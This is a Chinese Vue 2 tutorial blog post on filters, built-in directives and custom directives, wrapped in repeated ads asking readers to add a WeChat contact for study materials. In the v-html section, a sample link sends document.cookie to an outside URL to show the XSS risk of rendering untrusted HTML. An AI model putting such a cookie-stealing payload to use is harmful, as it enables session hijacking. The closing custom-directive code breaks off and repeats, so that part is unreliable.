Vue(三）——过滤器，内置指令，自定义指令，零基础学大数据开发编程

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新大数据全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上大数据知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以添加V获取：vip204888 （备注大数据）

正文

🚩🚩🚩vue专栏：Vue全家桶

---

接上一篇：vue的几种属性，键盘事件，绑定样式，条件渲染，列表渲染等等。 🧨🧨🧨 vue基础知识和原理（二）

---

👍👍👍 希望各位博主多多支持！！！💖

Vue(三）——过滤器，内置指令，自定义指令，组件

• • • 1.16. 过滤器
      • • • 1.16.1. 局部过滤器
            • 1.16.2. 全局过滤器
      • 1.17. 内置指令
      • • • 1.17.1. v-text指令
            • 1.17.2. v-html指令：(使用的很少)
            • 1.17.3. v-cloak指令（没有值）
            • 1.17.4. v-once指令
            • 1.17.5. v-pre指令
      • 1.18. 自定义指令
      • 1.19. 非单文件组件
      • • • 注意点：
            • VueComponent
            • 内置关系

---

1.16. 过滤器

🔮定义： 对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）

过滤器可以用在两个地方：双花括号插值 或 v-bind表达式。

1.16.1. 局部过滤器

局部过滤器是在某一个vue实例的内容创建的，只在当前实例中起作用

<script>
export default {
  data() {
    return {
      price: 100
    };
  },
  filters: {
    filter\_addbfh(value) {
      return value + '%';
    }
  }
};
</script>

1.16.2. 全局过滤器

🔮🔮🔮通过全局方式创建的过滤器，在任何一个vue实例中都可以使用
注意：使用全局过滤器的时候，需要先创建全局过滤器，再创建Vue实例

显示的内容,是由过滤器的返回值决定

使用语法: <h1>{{name | myfilter1}}</h1>

Vue.filter('filterName', function (value) {
  // value 表示要过滤的内容
})

💯💯💯示例（过滤器）：

<div id="root">
    <h2>显示格式化后的时间</h2>
    <!-- 计算属性实现 -->
    <h3>现在是：{{ fmtTime }}</h3>
    <!-- methods实现 -->
    <h3>现在是：{{ getFmtTime() }}</h3>
    <!-- 过滤器实现 -->
    <h3>现在是：{{time | timeFormater}}</h3>
    <!-- 过滤器实现（传参） -->
    <h3>现在是：{{time | timeFormater('YYYY\_MM\_DD') | mySlice}}</h3>
    <h3 :x="msg | mySlice">尚硅谷</h3>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false
    //全局过滤器
    Vue.filter('mySlice',function(value){
        return value.slice(0,4)
    })

    new Vue({
        el:'#root',
        data:{
            time:1621561377603, //时间戳
            msg:'你好，尚硅谷'
        },
        computed: {
            fmtTime(){
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        methods: {
            getFmtTime(){
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        //局部过滤器
        filters:{
            timeFormater(value, str='YYYY年MM月DD日 HH:mm:ss'){
                // console.log('@',value)
                return dayjs(value).format(str)
            }
        }
    })
</script>

1.17. 内置指令

1.17.1. v-text指令

用处：向其所在的节点中渲染文本内容。

🌞🌞与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。

<div id="root">
    <div>你好，{{name}}</div>
    <div v-text="name"></div>
    <div v-text="str"></div>
</div>

<script type="text/javascript">
 Vue.config.productionTip = false 
 new Vue({
 el:'#root',
 data:{
 name:'小溪',
 str:'<h3>你好啊！</h3>'
 }
 })
</script>

1.17.2. v-html指令：(使用的很少)

作用：向指定节点中渲染包含html结构的内容。

🌞🌞与插值语法的区别：

• v-html会替换掉节点中所有的内容，{{xx}}则不会。
• v-html可以识别html结构。

严重注意：v-html有安全性问题

• 在网站上动态渲染任意HTML是非常危险的，容易导致攻击。
• 一定要在可信的内容上使用v-html，不要用在用户提交的内容上

<div id="root">
    <div>你好，{{name}}</div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false 
    new Vue({
        el:'#root',
        data:{
            name:'张三',
            str:'<h3>你好啊！</h3>',
            str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
        }
    })
</script>

1.17.3. v-cloak指令（没有值）

使用css配合v-cloak可以解决网速慢时页面渲染不出来，而展示出{{xxx}}的问题。

<style>
 [v-cloak]{
 display:none;
 }
</style>
<div id="root">
    <h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>

<script type="text/javascript">
 console.log(1)
 Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

 new Vue({
 el:'#root',
 data:{
 name:'尚硅谷'
 }
 })
</script>

1.17.4. v-once指令

🌞🌞🌞

• v-once所在节点在初次动态渲染后，就视为静态内容了。
• 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

<div id="root">
    <h2 v-once>初始化的n值是:{{ n }}</h2>
    <h2>当前的n值是:{{ n }}</h2>
    <button @click="n++">点我n+1</button>
</div>

<script type="text/javascript">
 Vue.config.productionTip = false 
 new Vue({
 el:'#root',
 data:{
 n:1
 }
 })
</script>

1.17.5. v-pre指令

🚩跳过其所在节点的编译过程 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译

<div id="root">
    <h2 v-pre>Vue其实很简单</h2>
    <h2 >当前的n值是:{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
 Vue.config.productionTip = false 
 new Vue({
 el:'#root',
 data:{
 n:1
 }
 })
</script>

1.18. 自定义指令

两个实例：

• 定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
• 定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。

语法：

💎局部指令：

directives: {
  focus: {
    // 指令的定义
    inserted: function (el) {
      el.focus()
    }
  }
}

💎全局指令：

<script>
 // 注册一个全局自定义指令 `v-focus`
 Vue.directive('focus', {
 // 当被绑定的元素插入到 DOM 中时……
 inserted: function (el) {


**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注大数据）**
![img](https://img-blog.csdnimg.cn/img_convert/627a9ce3bc00b3993f163ae87e5c9faa.png)

**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**

()
    }
  }
}

💎全局指令：

<script>
 // 注册一个全局自定义指令 `v-focus`
 Vue.directive('focus', {
 // 当被绑定的元素插入到 DOM 中时……
 inserted: function (el) {


**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注大数据）**
[外链图片转存中...(img-imaEOHrm-1713329717139)]

**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**